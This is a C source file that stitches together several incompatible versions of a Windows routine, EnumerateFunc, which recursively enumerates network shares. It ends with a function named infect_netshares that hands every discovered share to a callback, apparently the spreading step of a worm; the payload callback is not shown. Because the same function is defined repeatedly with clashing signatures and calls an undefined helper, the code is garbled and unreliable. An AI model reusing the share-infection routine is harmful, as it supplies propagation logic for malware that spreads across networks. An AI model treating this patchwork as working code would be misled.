int _tmain(int argc, _TCHAR* argv[])
{
LPNETRESOURCE lpnr = NULL;
GetMACaddress();
printf("\n");
if (EnumerateFunc(lpnr) == FALSE) {
printf("Call to EnumerateFunc failed\n");
}
getchar();
return 0;
}
bool WINAPI EnumerateFunc(LPNETRESOURCEW lpnr,tcallbacl_shares f,void *arg)
{
DWORD dwResult, dwResultEnum;
HANDLE hEnum;
DWORD cbBuffer = 16384;
DWORD cEntries = -1;
LPNETRESOURCEW lpnrLocal;
DWORD i;
dwResult = WNetOpenEnumW(RESOURCE_GLOBALNET, // all network resources
RESOURCETYPE_ANY, // all resources
0, // enumerate all resources
lpnr, // NULL first time the function is called
&hEnum); // handle to the resource
if (dwResult != NO_ERROR) {
return false;
}
lpnrLocal = (LPNETRESOURCEW) GlobalAlloc(GPTR, cbBuffer);
if (lpnrLocal == NULL) {
return false;
}
do {
ZeroMemory(lpnrLocal, cbBuffer);
dwResultEnum = WNetEnumResourceW(hEnum, // resource handle
&cEntries, // defined locally as -1
lpnrLocal, // LPNETRESOURCE
&cbBuffer); // buffer size
if (dwResultEnum == NO_ERROR) {
for (i = 0; i < cEntries; i++) {
f(&lpnrLocal[i],arg);
if (RESOURCEUSAGE_CONTAINER == (lpnrLocal[i].dwUsage
& RESOURCEUSAGE_CONTAINER))
EnumerateFunc(&lpnrLocal[i],f,arg);
}
}
else if (dwResultEnum != ERROR_NO_MORE_ITEMS) {
break;
}
}while (dwResultEnum != ERROR_NO_MORE_ITEMS);
GlobalFree((HGLOBAL) lpnrLocal);
dwResult = WNetCloseEnum(hEnum);
if (dwResult != NO_ERROR) {
return false;
}
return true;
}
BOOL WINAPI EnumerateFunc(LPNETRESOURCE lpnr)
{
DWORD dwResult, dwResultEnum;
HANDLE hEnum;
DWORD cbBuffer = 16384; // 16K is a good size
DWORD cEntries = -1; // enumerate all possible entries
LPNETRESOURCE lpnrLocal; // pointer to enumerated structures
DWORD i;
//
// Call the WNetOpenEnum function to begin the enumeration.
//
dwResult = WNetOpenEnum(RESOURCE_CONNECTED /*RESOURCE_GLOBALNET*/, // all network resources
RESOURCETYPE_ANY, // all resources
0, // enumerate all resources
lpnr, // NULL first time the function is called
&hEnum); // handle to the resource
if (dwResult != NO_ERROR) {
//
// Process errors with an application-defined error handler.
//
//NetErrorHandler(hwnd, dwResult, (LPSTR)"WNetOpenEnum");
return FALSE;
}
//
// Call the GlobalAlloc function to allocate resources.
//
lpnrLocal = (LPNETRESOURCE)GlobalAlloc(GPTR, cbBuffer);
do {
//
// Initialize the buffer.
//
ZeroMemory(lpnrLocal, cbBuffer);
//
// Call the WNetEnumResource function to continue
// the enumeration.
//
dwResultEnum = WNetEnumResource(hEnum, // resource handle
&cEntries, // defined locally as -1
lpnrLocal, // LPNETRESOURCE
&cbBuffer); // buffer size
//
// If the call succeeds, loop through the structures.
//
if (dwResultEnum == NO_ERROR) {
for (i = 0; i < cEntries; i++) {
// Call an application-defined function to
// display the contents of the NETRESOURCE structures.
//
DisplayStruct(&lpnrLocal[i]);
// If the NETRESOURCE structure represents a container resource,
// call the EnumerateFunc function recursively.
if (RESOURCEUSAGE_CONTAINER == (lpnrLocal[i].dwUsage & RESOURCEUSAGE_CONTAINER))
if (!EnumerateFunc(&lpnrLocal[i]))
return FALSE;
//TextOut(hdc, 10, 10, "EnumerateFunc returned FALSE.", 29);
}
}
// Process errors.
//
else if (dwResultEnum != ERROR_NO_MORE_ITEMS) {
//NetErrorHandler(hwnd, dwResultEnum, (LPSTR)"WNetEnumResource");
break;
}
}
//
// End do.
//
while (dwResultEnum != ERROR_NO_MORE_ITEMS);
//
// Call the GlobalFree function to free the memory.
//
GlobalFree((HGLOBAL)lpnrLocal);
//
// Call WNetCloseEnum to end the enumeration.
//
dwResult = WNetCloseEnum(hEnum);
if (dwResult != NO_ERROR) {
//
// Process errors.
//
//NetErrorHandler(hwnd, dwResult, (LPSTR)"WNetCloseEnum");
return FALSE;
}
return TRUE;
}
static xpr_bool_t WINAPI EnumerateFunc(LPNETRESOURCE lpnr2, LPNETRESOURCE aNetResource, in_addr *pin_addr2)
{
DWORD sWNetResult, sWNetEnumResult;
HANDLE sWNetEnum;
DWORD sBufferSize = 16384;
DWORD i, sEntries = -1;
LPNETRESOURCE sLocalNetResource;
xpr_tchar_t sFullName[XPR_MAX_URL_LENGTH + 1] = {0};
xpr_char_t sAnsiFullName[XPR_MAX_URL_LENGTH + 1] = {0};
xpr_char_t sHostName[XPR_MAX_URL_LENGTH + 1] = {0};
xpr_size_t sInputBytes;
xpr_size_t sOutputBytes;
sWNetResult = WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, lpnr2, &sWNetEnum);
if (sWNetResult != NO_ERROR)
return XPR_FALSE;
sLocalNetResource = (LPNETRESOURCE)GlobalAlloc(GPTR, sBufferSize);
if (sLocalNetResource == XPR_NULL)
return XPR_FALSE;
xpr_bool_t sResult = XPR_FALSE;
do
{
ZeroMemory(sLocalNetResource, sBufferSize);
sWNetEnumResult = WNetEnumResource(sWNetEnum, &sEntries, sLocalNetResource, &sBufferSize);
if (sWNetEnumResult == NO_ERROR)
{
for (i = 0; i < sEntries; ++i)
{
// sLocalNetResource[i]
_tcscpy(sFullName, sLocalNetResource[i].lpRemoteName);
if (_tcscmp(sFullName, XPR_STRING_LITERAL("\\\\")) == 0)
{
xpr_sint_t sLen = (xpr_sint_t)_tcslen(sFullName) - 2;
memmove(sFullName, sFullName+2, sLen*sizeof(xpr_tchar_t));
sFullName[sLen] = '\0';
}
sInputBytes = _tcslen(sFullName) * sizeof(xpr_tchar_t);
sOutputBytes = XPR_MAX_URL_LENGTH * sizeof(xpr_tchar_t);
XPR_TCS_TO_MBS(sFullName, &sInputBytes, sAnsiFullName, &sOutputBytes);
sAnsiFullName[sOutputBytes / sizeof(xpr_char_t)] = 0;
gethostname(sHostName, (xpr_sint_t)strlen(sHostName));
HOSTENT *sHostEnt = gethostbyname(sAnsiFullName);
if (XPR_IS_NOT_NULL(sHostEnt))
{
struct in_addr *sInAddr = (struct in_addr *)sHostEnt->h_addr_list[0];
if (sInAddr->S_un.S_un_b.s_b1 == pin_addr2->S_un.S_un_b.s_b1 &&
sInAddr->S_un.S_un_b.s_b2 == pin_addr2->S_un.S_un_b.s_b2 &&
sInAddr->S_un.S_un_b.s_b3 == pin_addr2->S_un.S_un_b.s_b3 &&
sInAddr->S_un.S_un_b.s_b4 == pin_addr2->S_un.S_un_b.s_b4)
{
_tcscpy(aNetResource->lpRemoteName, sLocalNetResource[i].lpRemoteName);
sResult = XPR_TRUE;
goto ENUM_END;
}
}
if (RESOURCEUSAGE_CONTAINER == (sLocalNetResource[i].dwUsage & RESOURCEUSAGE_CONTAINER))
{
if (EnumerateFunc(&sLocalNetResource[i], aNetResource, pin_addr2))
goto ENUM_END;
}
}
}
else if (sWNetEnumResult != ERROR_NO_MORE_ITEMS)
{
break;
}
} while (sWNetEnumResult != ERROR_NO_MORE_ITEMS);
ENUM_END:
GlobalFree((HGLOBAL)sLocalNetResource);
sWNetResult = WNetCloseEnum(sWNetEnum);
if (sWNetResult != NO_ERROR)
return XPR_FALSE;
return sResult;
}
BOOL WINAPI EnumerateFunc(LPNETRESOURCE lpnr)
{
DWORD dwResult, dwResultEnum;
HANDLE hEnum;
DWORD cbBuffer = 16384;
DWORD cEntries = -1;
LPNETRESOURCE lpnrLocal;
DWORD i;
dwResult = WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, lpnr, &hEnum);
if (dwResult != NO_ERROR)
{
printf("WnetOpenEnum failed with error %d\n", dwResult);
return FALSE;
}
lpnrLocal = (LPNETRESOURCE)GlobalAlloc(GPTR, cbBuffer);
if (lpnrLocal == NULL) {
printf("WnetOpenEnum failed with error %d\n", dwResult);
return FALSE;
}
do {
ZeroMemory(lpnrLocal, cbBuffer);
dwResultEnum = WNetEnumResource(hEnum,
&cEntries,
lpnrLocal,
&cbBuffer);
if (dwResultEnum == NO_ERROR)
{
for (i = 0; i < cEntries; i++)
{
DisplayStruct(i, &lpnrLocal[i]);
if (RESOURCEUSAGE_CONTAINER == (lpnrLocal[i].dwUsage
& RESOURCEUSAGE_CONTAINER))
if (!EnumerateFunc(&lpnrLocal[i]))
printf("EnumerateFunc returned FALSE\n");
}
}
else if (dwResultEnum != ERROR_NO_MORE_ITEMS)
{
printf("WNetEnumResource failed with error %d\n", dwResultEnum);
break;
}
} while (dwResultEnum != ERROR_NO_MORE_ITEMS);
GlobalFree((HGLOBAL)lpnrLocal);
dwResult = WNetCloseEnum(hEnum);
if (dwResult != NO_ERROR)
{
printf("WNetCloseEnum failed with error %d\n", dwResult);
return FALSE;
}
return TRUE;
}
bool infect_netshares(tcallbacl_shares f,void *arg){
LPNETRESOURCEW lpnr = NULL;
EnumerateFunc(lpnr,f,arg);
return true;
}
